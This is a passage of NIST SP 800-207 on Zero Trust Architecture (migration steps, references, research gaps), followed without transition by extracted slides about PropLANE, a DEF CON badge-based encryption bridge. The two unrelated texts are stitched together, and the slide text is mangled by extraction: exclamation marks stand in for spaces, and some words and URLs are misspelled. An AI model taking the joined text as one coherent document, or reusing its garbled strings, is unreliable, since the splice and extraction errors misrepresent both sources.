infrastructure. In these cases, it might be possible to introduce ZT concepts to some degree. For example, an agency may be given a new responsibility that entails building a new application, service, or database. The agency could design the newly needed infrastructure around ZT principles and secure system engineering [SP8900-160v1], such as evaluating subjects’ trust before granting access and establishing micro-perimeters around new resources. The degree of success depends on how dependent this new infrastructure is on existing resources (e.g., ID management systems). 7.2 Hybrid ZTA and Perimeter-Based Architecture It is unlikely that any significant enterprise can migrate to zero trust in a single technology refresh cycle. There may be an indefinite period when ZTA workflows coexist with non-ZTA workflows in an enterprise. Migration to a ZTA approach to the enterprise may take place one business process at a time. The enterprise needs to make sure that the common elements (e.g., ID management, device management, event logging) are flexible enough to operate in a ZTA and perimeter-based hybrid security architecture. Enterprise architects may also want to restrict ZTA candidate solutions to those that can interface with existing components. NIST SP 800-207 ZERO TRUST ARCHITECTURE 37 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Migrating an existing workflow to a ZTA will likely require (at least) a partial redesign. Enterprises may take this opportunity to adopt secure system engineering [SP800-160v1] practices if they have not already done so for workflows. 7.3 Steps to Introducing ZTA to a Perimeter-Based Architected Network Migrating to ZTA requires an organization to have detailed knowledge of its assets (physical and virtual), subjects (including user privileges), and business processes. This knowledge is accessed by the PE when evaluating resource requests. Incomplete knowledge will most often lead to a business process failure where the PE denies requests due to insufficient information. This is especially an issue if there are unknown “shadow IT” deployments operating within an organization. Before undertaking an effort to bring ZTA to an enterprise, there should be a survey of assets, subjects, data flows, and workflows. This awareness forms the foundational state that must be reached before a ZTA deployment is possible. An enterprise cannot determine what new processes or systems need to be in place if there is no knowledge of the current state of operations. These surveys can be conducted in parallel, but both are tied to examination of the business processes of the organization. These steps can be mapped to the steps in the RMF [SP800-37] as any adoption of a ZTA is a process to reduce risk to an agency’s business functions. The pathway to implementing a ZTA can be visualized in Figure 12. Figure 12: ZTA Deployment Cycle NIST SP 800-207 ZERO TRUST ARCHITECTURE 38 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 After the initial inventory is created, there is a regular cycle of maintenance and updating. This updating may either change business processes or not have any impact, but an evaluation of business processes should be conducted. For example, a change in digital certificate providers may not appear to have a significant impact but may involve certificate root store management, Certificate Transparency log monitoring, and other factors that are not apparent at first. 7.3.1 Identify Actors on the Enterprise For a zero trust enterprise to operate, the PE must have knowledge of enterprise subjects. Subjects could encompass both human and possible NPEs, such as service accounts that interact with resources. Users with special privileges, such as developers or system administrators, require additional scrutiny when being assigned attributes or roles. In many legacy security architectures, these accounts may have blanket permission to access all enterprise resources. ZTA should allow developers and administrators to have sufficient flexibility to satisfy their business requirements while using logs and audit actions to identify access behavior patterns. ZTA deployments may require administrators to satisfy a more stringent confidence level or criteria as outlined in NIST SP 800-63A, Section 5 [SP800-63A]. 7.3.2 Identify Assets Owned by the Enterprise As mentioned in Section 2.1, one of the key requirements of ZTA is the ability to identify and manage devices. ZTA also requires the ability to identify and monitor nonenterprise-owned devices that may be on enterprise-owned network infrastructure or that access enterprise resources. The ability to manage enterprise assets is key to the successful deployment of ZTA. This includes hardware components (e.g., laptops, phones, IoT devices) and digital artifacts (e.g., user accounts, applications, digital certificates). It may not be possible to conduct a complete census on all enterprise-owned assets, so an enterprise should consider building the capability to quickly identify, categorize, and assess newly discovered assets that are on enterprise-owned infrastructure. This goes beyond simply cataloging and maintaining a database of enterprise assets. This also includes configuration management and monitoring. The ability to observe the current state of an asset is part of the process of evaluating access requests (see Section 2.1). This means that the enterprise must be able to configure, survey, and update enterprise assets, such as virtual assets and containers. This also includes both its physical (as best estimated) and network location. This information should inform the PE when making resource access decisions. Nonenterprise-owned assets and enterprise-owned “shadow IT” should also be cataloged as well as possible. This may include whatever is visible by the enterprise (e.g., MAC address, network location) and augmented by administrator data entry. This information is not only used for access decisions (as collaborator and BYOD assets may need to contact PEPs) but also for monitoring and forensics logging by the enterprise. Shadow IT presents a special problem in that these resources are enterprise-owned but not managed like other resources. Certain ZTA approaches (mainly network-based) may even cause shadow IT components to become unusable as they may not be known and included in network access policies. NIST SP 800-207 ZERO TRUST ARCHITECTURE 39 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Many federal agencies have already begun identifying enterprise assets. Agencies that have established CDM program capabilities, such as HWAM [HWAM] and Software Asset Management (SWAM) [SWAM], have a rich set of data to draw from when enacting a ZTA. Agencies may also have a list of ZTA candidate processes that involve High Value Assets (HVA) [M-19-03] that have been identified as key to the agency mission. This work would need to exist enterprise- or agency-wide before any business process could be (re)designed with a ZTA. These programs must be designed to be expandable and adaptable to changes in the enterprise, not only when migrating to ZTA but also when accounting for new assets, services, and business processes that become part of the enterprise. 7.3.3 Identify Key Processes and Evaluate Risks Associated with Executing Process The third inventory that an agency should undertake is to identify and rank the business processes, data flows, and their relation in the missions of the agency. Business processes should inform the circumstances under which resource access requests are granted and denied. An enterprise may wish to start with a low-risk business process for the first transition to ZTA as disruptions will likely not negatively impact the entire organization. Once enough experience is gained, more critical business processes can become candidates. Business processes that utilize cloud-based resources or are used by remote workers are often good candidates for ZTA and would likely see improvements to availability and security. Rather than project the enterprise perimeter into the cloud or bring clients into the enterprise network via a VPN, enterprise clients can request cloud services directly. The enterprise’s PEPs ensure that enterprise policies are followed before resource access is granted to a client. Planners should also consider potential tradeoffs in performance, user experience, and possible increased workflow fragility that may occur when implementing ZTA for a given business process. 7.3.4 Formulating Policies for the ZTA Candidate The process of identifying a candidate service or business workflow depends on several factors: the importance of the process to the organization, the group of subjects affected, and the current state of resources used for the workflow. The value of the asset or workflow based on risk to the asset or workflow can be evaluated using the NIST Risk Management Framework [SP800-37]. After the asset or workflow is identified, identify all upstream resources (e.g., ID management systems, databases, micro-services), downstream resources (e.g., logging, security monitoring), and entities (e.g., subjects, service accounts) that are used or affected by the workflow. This may influence the candidate choice as a first migration to ZTA. An application/service used by an identified subset of enterprise subjects (e.g., a purchasing system) may be preferred over one that is vital to the entire subject base of the enterprise (e.g., email). The enterprise administrators then need to determine the set of criteria (if using a criteria-based TA) or confidence level weights (if using a score-based TA) for the resources used in the candidate business process (see Section 3.3.1). Administrators may need to adjust these criteria or values during the tuning phase. These adjustments are necessary to ensure that policies are effective but do not hinder access to resources. NIST SP 800-207 ZERO TRUST ARCHITECTURE 40 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 7.3.5 Identifying Candidate Solutions Once a list of candidate business processes has been developed, enterprise architects can compose a list of candidate solutions. Some deployment models (see Section 3.1) are better suited to particular workflows and current enterprise ecosystems. Likewise, some vendor solutions are better suited to some use cases than others. These are some factors to consider: • Does the solution require that components be installed on the client asset? This may limit business processes where nonenterprise-owned assets are used or desired, such as BYOD or cross-agency collaborations. • Does the solution work where the business process resources exist entirely on enterprise premises? Some solutions assume that requested resources will reside in the cloud (so-called north-south traffic) and not within an enterprise perimeter (east-west traffic). The location of candidate business process resources will influence candidate solutions as well as the ZTA for the process. • Does the solution provide a means to log interactions for analysis? A key component of ZT is the collection and use of data related to the process flow that feeds back into the PE when making access decisions. • Does the solution provide broad support for different applications, services, and protocols? Some solutions may support a broad range of protocols (web, secure shell [SSH], etc.) and transports (IPv4 and IPv6), while others may only work with a narrow focus such as web or email. • Does the solution require changes to subject behavior? Some solutions may require additional steps to perform a given workflow. This may change how enterprise subjects perform the workflow. One solution is to model an existing business process as a pilot program rather than just a replacement. This pilot program could be made general to apply to several business processes or be made specific to one use case. The pilot can be used as a “proving ground” for ZTA before transitioning subjects to the ZTA deployment and away from the legacy process infrastructure. 7.3.6 Initial Deployment and Monitoring Once the candidate workflow and ZTA components are chosen, the initial deployment can start. Enterprise administrators must implement the developed policies by using the selected components but may wish to operate in an observation and monitoring mode at first. Few enterprise policy sets are complete in their first iterations: important user accounts (e.g., administrator accounts) may be denied access to resources they need or may not need all the access privileges they have been assigned. The new ZT business workflow could be operated in reporting-only mode for some time to make sure the policies are effective and workable. This also allows the enterprise to gain an understanding of baseline asset and resource access requests, behavior, and communication patterns. Reporting-only means that access should be granted for most requests, and logs and traces of connections should be compared with the initial developed policy. Basic policies such NIST SP 800-207 ZERO TRUST ARCHITECTURE 41 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 as denying requests that fail MFA or appear from known, attacker controlled or subverted IP addresses should be enforced and logged, but after initial deployment, access polices should be more lenient to collect data from actual interactions of the ZT workflow. Once the baseline activity patterns for the workflow has been established, anomalous behavior can be more easily identify. If it is not possible to operate in a more lenient nature, enterprise network operators should monitor logs closely and be prepared to modify access policies based on operational experience. 7.3.7 Expanding the ZTA When enough confidence is gained and the workflow policy set is refined, the enterprise enters the steady operational phase. The network and assets are still monitored, and traffic is logged (see Section 2.1), but responses and policy modifications are done at a lower tempo as they should not be severe. The subjects and stakeholders of the resources and processes involved should also provide feedback to improve operations. At this stage, the enterprise administrators can begin planning the next phase of ZT deployment. Like the previous rollout, a candidate workflow and solution set need to be identified and initial policies developed. However, if a change occurs to the workflow, the operating ZT architecture needs to be reevaluated. Significate changes to the system—such as new devices, major updates to software (especially ZT logical components), and shifts in organizational structure—may result in changes to the workflow or policies. In effect, the entire process should be reconsidered with the assumption that some of the work has already been done. For example, new devices have been purchased, but no new user accounts have been created, so only the device inventory needs to be updated. NIST SP 800-207 ZERO TRUST ARCHITECTURE 42 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 References [ACT-IAC] American Council for Technology and Industry Advisory Council (2019) Zero Trust Cybersecurity Current Trends. Available at https://www.actiac.org/zero-trust-cybersecurity-current-trends [Anderson] Anderson B, McGrew D (2017) Machine Learning for Encrypted Malware Traffic Classification: Accounting for Noisy Labels and Non- Stationarity. Proceedings of the 23rd ACM SIGKDD International Conference on Knowledge Discovery and Data Mining (ACM, Halifax, Nova Scotia, Canada), pp 1723-1732. https://doi.org/10.1145/3097983.3098163 [BCORE] Department of Defense CIO (2007). Department of Defense Global Information Grid Architecture Vision Version 1.0 June 2007. Available at http://www.acqnotes.com/Attachments/DoD%20GIG%20Architectural% 20Vision,%20June%2007.pdf [CSA-SDP] Cloud Security Alliance (2015) SDP Specification 1.0. Available at https://cloudsecurityalliance.org/artifacts/sdp-specification-v1-0/ [FIPS199] National Institute of Standards and Technology (2004) Standards for Security Categorization of Federal Information and Information Systems. (U.S. Department of Commerce, Washington, DC), Federal Information Processing Standards Publication (FIPS) 199. https://doi.org/10.6028/NIST.FIPS.199 [Gilman] Gilman E, Barth D (2017) Zero Trust Networks: Building Secure Systems in Untrusted Networks (O’Reilly Media, Inc., Sebastopol, CA), 1st Ed. [HWAM] Department of Homeland Security (2015) Hardware Asset Management (HWAM) Capability Description. Available at https://www.us- cert.gov/sites/default/files/cdm_files/HWAM_CapabilityDescription.pdf [IBNVN] Cohen R, Barabash K, Rochwerger B, Schour L, Crisan D, Birke R, Minkenberg C, Gusat M, Recio R, Jain V (2013) An Intent-based Approach for Network Virtualization. 2013 IFIP/IEEE International Symposium on Integrated Network Management (IM 2013). (IEEE, Ghent, Belgium), pp 42-50. Available at https://ieeexplore.ieee.org/document/6572968 [JERICHO] The Jericho Forum (2007) Jericho Forum Commandments, version 1.2. Available at https://collaboration.opengroup.org/jericho/commandments_v1.2.pdf [M-19-03] Office of Management and Budget (2018) Strengthening the Cybersecurity of Federal Agencies by Enhancing the High Value Asset NIST SP 800-207 ZERO TRUST ARCHITECTURE 43 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Program. (The White House, Washington, DC), OMB Memorandum M- 19-03, December 10, 2018. Available at https://www.whitehouse.gov/wp- content/uploads/2018/12/M-19-03.pdf [M-19-17] Office of Management and Budget (2019) Enabling Mission Delivery through Improved Identity, Credential, and Access Management. (The White House, Washington, DC), OMB Memorandum M-19-17, May 21, 2019. Available at https://www.whitehouse.gov/wp- content/uploads/2019/05/M-19-17.pdf [M-19-19] Office of Management and Budget (2019) Update on Data Center Optimization Initiative (DCOI). (The White House, Washington, DC), OMB Memorandum M-19-19, June 25, 2019. Available at https://datacenters.cio.gov/assets/files/m_19_19.pdf [M-19-26] Office of Management and Budget (2019) Update to the Trusted Internet Connections (TIC) Initiative. (The White House, Washington, DC), OMB Memorandum M-19-26, September 12, 2019. Available at https://www.whitehouse.gov/wp-content/uploads/2019/09/M-19-26.pdf [NISTIR 7987] Ferraiolo DF, Gavrila S, Jansen W (2015) Policy Machine: Features, Architecture, and Specification. (National Institute of Standards and Technology, Gaithersburg, MD), NIST Interagency or Internal Report (IR) 7987, Rev. 1. https://doi.org/10.6028/NIST.IR.7987r1 [NISTIR 8062] Brooks SW, Garcia ME, Lefkovitz NB, Lightman S, Nadeau EM (2017) An Introduction to Privacy Engineering and Risk Management in Federal Systems. (National Institute of Standards and Technology, Gaithersburg, MD), NIST Interagency or Internal Report (IR) 8062. https://doi.org/10.6028/NIST.IR.8062 [NISTPRIV] National Institute of Standards and Technology (2020) Privacy Framework: A Tool for Improving Privacy Through Enterprise Risk Management, Version 1.0. (National Institute of Standards and Technology, Gaithersburg, MD). https://doi.org/10.6028/NIST.CSWP.01162020 [SDNBOOK] Nadeau T, Gray K (2013) SDN: Software Defined Networks: An Authoritative Review of Network Programmability Technologies. (O’Reilly) 1st Ed. [SP800-37] Joint Task Force (2018) Risk Management Framework for Information Systems and Organizations: A System Life Cycle Approach for Security and Privacy. (National Institute of Standards and Technology, Gaithersburg, MD), NIST Special Publication (SP) 800-37, Rev. 2. https://doi.org/10.6028/NIST.SP.800-37r2 NIST SP 800-207 ZERO TRUST ARCHITECTURE 44 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 [SP800-63] Grassi PA, Garcia ME, Fenton JL (2017) Digital Identity Guidelines. (National Institute of Standards and Technology, Gaithersburg, MD), NIST Special Publication (SP) 800-63-3, Includes updates as of March 2, 2020. https://doi.org/10.6028/NIST.SP.800-63-3 [SP800-63A] Grassi PA, Fenton JL, Lefkovitz NB, Danker JM, Choong Y-Y, Greene KK, Theofanos MF (2017) Digital Identity Guidelines: Enrollment and Identity Proofing. (National Institute of Standards and Technology, Gaithersburg, MD), NIST Special Publication (SP) 800-63A, Includes updates as of March 2, 2020. https://doi.org/10.6028/NIST.SP.800-63A [SP800-160v1] Ross R, McEvilley M, Oren JC (2016) Systems Security Engineering: Considerations for a Multidisciplinary Approach in the Engineering of Trustworthy Secure Systems. (National Institute of Standards and Technology, Gaithersburg, MD), NIST Special Publication (SP) 800-160, Vol. 1, Includes updates as of March 21, 2018. https://doi.org/10.6028/NIST.SP.800-160v1 [SP800-160v2] Ross R, Pillitteri V, Graubart R, Bodeau D, McQuaid R (2019) Developing Cyber Resilient Systems: A Systems Security Engineering Approach. (National Institute of Standards and Technology, Gaithersburg, MD), NIST Special Publication (SP) 800-160, Vol. 2. https://doi.org/10.6028/NIST.SP.800-160v2 [SP800-162] Hu VC, Ferraiolo DF, Kuhn R, Schnitzer A, Sandlin K, Miller R, Scarfone KA (2014) Guide to Attribute Based Access Control (ABAC) Definition and Considerations. (National Institute of Standards and Technology, Gaithersburg, MD), NIST Special Publication (SP) 800-162, Includes updates as of August 2, 2019. https://doi.org/10.6028/NIST.SP.800-162 [SWAM] Department of Homeland Security (2015) Software Asset Management (SWAM) Capability Description. Available at https://www.us- cert.gov/sites/default/files/cdm_files/SWAM_CapabilityDescription.pdf NIST SP 800-207 ZERO TRUST ARCHITECTURE 45 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Appendix A—Acronyms API Application Programming Interface BYOD Bring Your Own Device CDM Continuous Diagnostics and Mitigation DHS Department of Homeland Security DoS Denial of Service G2B Government to Business (private industry) G2G Government to Government NIST National Institute of Standards and Technology NPE Non-Person Entity PA Policy Administrator PDP Policy Decision Point PE Policy Engine PEP Policy Enforcement Point PKI Public Key Infrastructure RMF NIST Risk Management Framework SDN Software Defined Network SDP Software Defined Perimeter SIEM Security Information and Event Monitoring TIC Trusted Internet Connections VPN Virtual Private Network ZT Zero Trust ZTA Zero Trust Architecture NIST SP 800-207 ZERO TRUST ARCHITECTURE 46 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Appendix B—Identified Gaps in the Current State-of-the-Art in ZTA The current maturity of zero trust components and solutions was surveyed during the research conducted in the development of this document. This survey concluded that the current state of the ZTA ecosystem is not mature enough for widespread adoption. While it is possible to use ZTA strategies to plan and deploy an enterprise environment, there is no single solution that provides all the necessary components. Also, few ZTA components available today can be used for all of the various workflows present in an enterprise. The following is a summary of identified gaps in the ZTA ecosystem and areas that need further investigation. Some of these areas have some foundation of work, but how ZTA tenets change these areas is not well-known as there is not enough experience with diverse ZTA-focused enterprise environments. B.1 Technology Survey Multiple vendors were invited to present their products and views on zero trust. The goal of this survey was to identify missing pieces that prevent agencies from moving to a zero trust based enterprise infrastructure now or maintaining an existing ZTA implementation. These gaps can be categorized into immediate deployment (immediate or short term), systemic gaps that affect maintenance or operations (short or midterm), and missing knowledge (areas for future research). They are summarized in Table B-1. Table B-1: Summary of Identified Deployment Gaps Category Example Questions Identified Gaps Immediate deployment • How should procurement requirements be written? • How does a ZTA plan work with TIC, FISMA, and other requirements? • Lack of a common framework and vocabulary for ZTA • Perception that ZTA conflicts with existing policy Systemic • How can vendor lock-in be prevented? • How do different ZTA environments interact? • Too much reliance on vendor APIs Areas needing more research • How will threats evolve in the face of ZTA? • How will business processes change in the face of ZTA? • What a successful compromise looks like in an enterprise with a ZTA • Documented end user experience in an enterprise with a ZTA NIST SP 800-207 ZERO TRUST ARCHITECTURE 47 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 B.2 Gaps that Prevent an Immediate Move to ZTA These are the issues that are slowing adoption of a ZTA at present. These were classified as immediate issues, and no thought of future maintenance or migration was considered for this category. A forward-thinking enterprise may also consider the maintenance category to be of immediate concern in preventing the initial deployment of ZTA components, but these issues are considered a separate category for this analysis. B.2.1 Lack of Common Terms for ZTA Design, Planning, and Procurement Zero trust as a strategy for the design and deployment of enterprise infrastructure is still a forming concept. Industry has not yet coalesced around a single set of terms or concepts to describe ZTA components and operations. This makes it difficult for organizations (e.g., federal agencies) to develop coherent requirements and policies for designing zero trust enterprise infrastructure and procuring components. The driver for Sections 2.1 and 3.1 is an initial attempt to form a neutral base of terms and concepts to describe ZTA. The abstract ZTA components and deployment models were developed to serve as basic terms and ways to think about ZTA. The goal is to provide a common way to view, model, and discuss ZTA solutions when developing enterprise requirements and performing market surveys. The above sections may prove to be incomplete as more experience is gained with ZTA in federal agencies, but they currently serve as a base for a common conceptual framework. B.2.2 Perception that ZTA Conflicts with Existing Federal Cybersecurity Policies There is a misconception that ZTA is a single framework with a set of solutions that are incompatible with the existing view of cybersecurity. Zero trust should instead be viewed as an evolution of current cybersecurity strategies as many of the concepts and ideas have been circulating for a long time. Federal agencies have been encouraged to take a more zero trust approach to cybersecurity through existing guidance (see Section 6). If an agency has a mature ID management system and robust CDM capabilities in place, it is on the road to a ZTA (see Section 7.3). This gap is based on a misconception of ZTA and how it has evolved from previous cybersecurity paradigms. B.3 Systemic Gaps that Impact ZTA These are the gaps that affect initial implementation and deployment of ZTA and continued operation/maturity. These gaps could slow the adoption of ZTA in agencies or result in fragmentation of the ZTA component industry. Systemic gaps are areas where open standards (produced either by a standards development organization [SDO] or industry consortium) can help. B.3.3 Standardization of Interfaces Between Components During the technology survey, it became apparent that no one vendor offers a single solution that will provide zero trust. Furthermore, it might not be desirable to use a single-vendor solution to NIST SP 800-207 ZERO TRUST ARCHITECTURE 48 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 achieve zero trust and thereby risk vendor lock-in. This leads to interoperability within components not only at the time of purchase but also over time. The spectrum of components within the wider enterprise is vast, with many products focusing on a single niche within zero trust and relying on other products to provide either data or some service to another component (e.g., integration of MFA for resource access). Vendors too often rely on proprietary APIs provided by partner companies rather than standardized, vendor- independent APIs to achieve this integration. The problem with this approach is that these APIs are proprietary and single-vendor controlled. The controlling vendor can change the API behavior, and integrators are required to update their products in response. This requires close partnerships between communities of vendors to ensure early notification of modifications within APIs, which may affect compatibility between products. This adds an additional burden on vendors and consumers: vendors need to expend resources to change their products, and consumers need to apply updates to multiple products when one vendor makes a change to its proprietary API. Additionally, vendors are required to implement and maintain wrappers for each partner component to allow maximum compatibility and interoperability. For example, many MFA product vendors are required to create a different wrapper for each cloud provider or identity management system to be usable in different kinds of client combinations. On the customer side, this generates additional problems when developing requirements for purchasing products. There are no standards that purchasers can rely on to identify compatibility between products. Hence, it is very difficult to create a multiyear road map for moving into ZTA because it is impossible to identify a minimum set of compatibility requirements for components. B.3.4 Emerging Standards that Address Overreliance on Proprietary APIs As there is no single solution to developing a ZTA, there is no single set of tools or services for a zero trust enterprise. Thus, it is impossible to have a single protocol or framework that enables an enterprise to move to a ZTA. Currently, there is a wide variety of models and solutions seeking to become the leading authority of ZTA. This indicates that there is an opportunity for a set of open, standardized protocols or frameworks to be developed to aid organizations in migrating to a ZTA. SDOs like the Internet Engineering Task Force (IETF) have specified protocols that may be useful in exchanging threat information (called XMPP-Grid [1]). The Cloud Security Alliance (CSA) has produced a framework for Software Defined Perimeter (SDP) [2] that may also be useful in ZTA. Efforts should be directed toward surveying the current state of ZTA-related frameworks or the protocols necessary for a useful ZTA and toward identifying places where work is needed to produce or improve these specifications. B.4 Knowledge Gaps in ZTA and Future Areas of Research The gaps listed here do not hinder an organization from adopting a ZTA for its enterprise. These are gray areas in knowledge about operational ZTA environments, and most arise from a lack of time and experience with mature zero trust deployments. These are areas of future work for researchers. NIST SP 800-207 ZERO TRUST ARCHITECTURE 49 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 B.4.5 Attacker Response to ZTA A properly implemented ZTA for an enterprise will improve the enterprise’s cybersecurity posture over traditional network perimeter-based security. The tenets of ZTA aim to reduce the exposure of resources to attackers and minimize or prevent lateral movement within an enterprise should a host asset be compromised. However, determined attackers will not sit idle but will instead change behavior in the face of ZTA. The open issue is how the attacks will change. One possibility is that attacks aimed at stealing credentials will be expanded to target MFA (e.g., phishing, social engineering). Another possibility is that in a hybrid ZTA/perimeter-based enterprise, attackers will focus on the business processes that have not had ZTA tenets applied (i.e., follow traditional network perimeter-based security)—in effect, targeting the low-hanging fruit in an attempt to gain some foothold in the ZTA business process. As ZTA matures, more deployments are seen, and experience is gained, the effectiveness of ZTA in shrinking the attack surface of resources may become apparent. The metrics of success of ZTA over older cybersecurity strategies will also need to be developed. B.4.6 User Experience in a ZTA Environment There has not been a rigorous examination of how end users act in an enterprise that is using a ZTA. This is mainly due to the lack of large ZTA use cases available for analysis. There have, however, been studies on how users react to MFA and other security operations that are part of a ZTA enterprise, and this work could form the basis of predicting end user experience and behavior when using ZTA workflows in an enterprise. One set of studies that can predict how ZTA affects end user experience is the work done on the use of MFA in enterprises and security fatigue. Security fatigue [3] is the phenomenon wherein end users are confronted with so many security policies and challenges that it begins to impact their productivity in a negative way. Other studies show that MFA may alter user behavior, but the overall change is mixed [4] [5]. Some users readily accept MFA if the process is streamlined and involves devices they are used to using or having with them (e.g., applications on a smartphone). However, some users resent having to use personally-owned devices for business processes or feel that they are being constantly monitored for possible violations of IT policies. B.4.7 Resilience of ZTA to Enterprise and Network Disruption The survey of the ZTA vendor ecosystem displayed the wide range of infrastructure that an enterprise deploying a ZTA would need to consider. As previously noted, there is no single provider of a full zero trust solution at this time. As a result, enterprises will purchase several different services and products, which can lead to a web of dependencies for components. If one vital component is disrupted or unreachable, there could be a cascade of failures that impact one or multiple business processes. Most products and services surveyed relied on a cloud presence to provide robustness, but even cloud services have been known to become unreachable through either an attack or simple error. When this happens, key components used to make access decisions may be unreachable or may NIST SP 800-207 ZERO TRUST ARCHITECTURE 50 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 not be able to communicate with other components. For example, PE and PA components located in a cloud may be reachable during a distributed denial-of-service (DDoS) attack but may not be able to reach all PEPs located with resources. Research is needed on discovering the possible choke points of ZTA deployment models and the impact on network operations when a ZTA component is unreachable or has limited reachability. The continuity of operations (COOP) plans for an enterprise will likely need revision when adopting a ZTA. A ZTA makes many COOP factors easier as remote workers may have the same access to resources that they had on-premises. However, policies like MFA may also have a negative impact if users are not properly trained or lack experience. Users may forget or not have access to tokens and enterprise devices during an emergency, and that will impact the speed and effectiveness of enterprise business processes. B.5 References [1] Cam-Winget N (ed.), Appala S, Pope S, Saint-Andre P (2019) Using Extensible Messaging and Presence Protocol (XMPP) for Security Information Exchange. (Internet Engineering Task Force (IETF)), IETF Request for Comments (RFC) 8600. https://doi.org/10.17487/RFC8600 [2] Software Defined Perimeter Working Group “SDP Specification 1.0” Cloud Security Alliance. April 2014. [3] Stanton B, Theofanos MF, Spickard Prettyman S, Furman S (2016) Security Fatigue. IT Professional 18(5):26-32. https://doi.org/10.1109/MITP.2016.84 [4] Strouble D, Shechtman GM, Alsop AS (2009) Productivity and Usability Effects of Using a Two-Factor Security System. SAIS 2009 Proceedings (AIS, Charleston, SC), p 37. Available at http://aisel.aisnet.org/sais2009/37 [5] Weidman J, Grossklags J (2017) I Like It but I Hate It: Employee Perceptions Towards an Institutional Transition to BYOD Second-Factor Authentication. Proceedings of the 33rd Annual Computer Security Applications Conference (ACSAC 2017) (ACM, Orlando, FL), pp 212-224. https://doi.org/10.1145/3134600.3134629
pdf
PropLANE!! Kind!of!keeping!the!NSA!from! watching!you!pee! Introduc9on! •  The!guys!up!here! – Mark!Carey!(phorkus)! – Russ!Rogers!(russr)! – Ryan!Clarke!(L0stboy)! – Rob!Bathurst!(evilrob)! •  Guys!not!up!here! – You! History!of!Crypto!Part!I! •  Scytale! •  Caesar!Cipher! •  One!Time!Pad!(OTP)! •  Enigma!Machine! •  SIGABA! •  Data!Encryp9on!Standard!(DES)! •  Advanced!Encryp9on!Standard!(AES)! Recent!Things!in!History!! •  The!NSA!vacuum! •  Is!TOR!safe!?!?!! •  The!Freenet!Project! The!Project! The!Pile! The!PropLANE! •  The!Idea!! – .gov!style!network!protec9on!for!the!masses! •  Why!did!we!do!this?! – we!too!like!to!keep!our!shit,!our!shit,!and!just!our! shit! •  How!did!we!do!this?! – DARPA!CFT! The!Parts!Part!I! •  DC!20!Badge!! – Parallax!Propeller!Chip! – 16!User!I/O!Pins! – SPI!Boot!ROM! – TTL!Serial[to[USB! – Infrared!Transceiver! The!Parts!Part!II! •  Addi9onal!Items! – Ethernet!Transceiver! •  Microchip!ENC28J60! •  !3.3/5v! •  8k!Sta9c!Ram!Buffer! •  If!you!don’t!use!this,!you!will!have!to!write!your!own! driver! – SD!Card!(keystore)! •  Almost!any!SD!card!will!work! The!Sobware! •  Spin! – “high!level”!programming!language! – byte!code!interpreter! – learn.parallax.com! •  PASM! – Propeller!Assembly! – Faster! – pPropellerSim/GEAR! Fair!Warning! •  Synthesized!SPI!using!specialized!COG! instruc9ons! •  Transparent!bridging! •  Small!key!size!(128!vs!256)!due!to!size! constraints! Warning!About!Crypto! •  Why!crypto!works! – Hash!vs!Encryp9on! •  Crypto!can!be!defeated! – Losing!your!symmetric!key! – Compromised!PKI! – Brute!Force! – Poor!Implimenta9on! Money!Shot! The!Problem! Approach! •  Cheap! –  Propeller! –  Arm! •  Fast[ish! –  Propeller!(not!so!fast)! –  ARM!(can!be!fast)! –  FPGA!(screaming!fast)! •  !Easy!to!use! –  Simple!key!exchange! –  ON/OFF!switch! The!Badge! DC!20!Badge! Badge!Schema9c! Pinout! Pinout! PropLANE!Sobware! How!a!Propeller!Works! •  Cogs! •  Jobs! •  Spin/PASM! •  What!if!I!want!to!port!it?! The!Crypto!Cog! •  Encrypt!Cog! •  Decrypt!Cog! •  Speed!Test! •  Basic!Sequence! –  Packet!In! –  Mem!Copy! –  Decrypt! –  Read/Write! –  Encrypt! –  Mem!Copy! –  Packet!Out! The!Network!Cog! •  Network!Comms!Design! –  2!SPI!Cogs! –  “Big!Shovels”! –  Packet!Queue! •  Packet!Wrapping! –  Payload!Encryp9on! –  Convert!to!Proto!99! –  TCP/UDP!signal!bit! •  Targe9ng! –  key!to!network!rela9onship! Key!Management! •  Mul9[Key!management!is!a!joy! •  Suggested!Protec9ons! – Encrypt!keys!for!the!des9na9on!device! – Never!transmit!in!plaintext! – Use!alternate!channels!if!possible! •  Separated!communica9ons!channel! – SD!Card/IR! Using!the!PropLANE! Badge!Assembly! The!Basics! •  How!to!enroll!your!friends! –  Key.txt! •  Protec9ons!the!PropLANE!provides! –  Encrypts!communica9ons!on!the!blackside! •  What!the!PropLANE!won’t!do! –  Fancy!shit! •  What!you!shouldn’t!use!the!PropLANE!for!! –  Hiding!from!the!Government! –  Banking! –  The!lulz! Danger!Will!Robinson! •  Crypto!Implementa9on! –  Key!size!limita9on! –  Speed! –  Single!Key!per!device! •  It!does!not!have!to!stay!this!way! •  Expected!privacy! –  If!the!key!is!not!compromised,!you’re!doing!preiy! good! •  Difficulty!in!crea9ng!the!PropLANE! –  Lots!of!beer,!long!nights,!and!pain! Future!Goals! •  Where!we’d!like!to!take!the!project! – Try!new!algorithms!(SIMON,!SPECK,!EU)! – Complete!a!ARM!port! – Any!direc9on!you!want! •  What!we!think!we!can!do!in!the!future! – Make!crypto!a!feature!on!future!electronic!DC! badges! – Help!protect!the!community!and!give!people! something!to!hack!on! Administratum! •  Where!can!I!get!the!sobware!and! instruc9ons?! – hips://github.com/proplane/proplane! •  Where!can!I!find!more!informa9on?! – hip://www.proplane.org! •  Contact!info! – fi[email protected]! •  Drink!Preference!! – Any! Ques9ons?!
pdf
